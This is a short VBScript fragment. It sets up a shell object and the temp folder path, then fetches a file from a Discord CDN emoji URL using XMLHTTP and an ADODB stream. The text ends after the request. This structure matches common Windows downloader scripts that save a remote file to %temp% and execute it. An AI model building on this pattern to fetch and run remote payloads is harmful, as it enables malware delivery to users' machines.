Set objShell = CreateObject("WScript.Shell")
Set objEnv = objShell.Environment("User")
 
strDirectory = objShell.ExpandEnvironmentStrings("%temp%")
 
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://cdn.discordapp.com/emojis/681577625394872370.png?v=1", False
xHttp.Send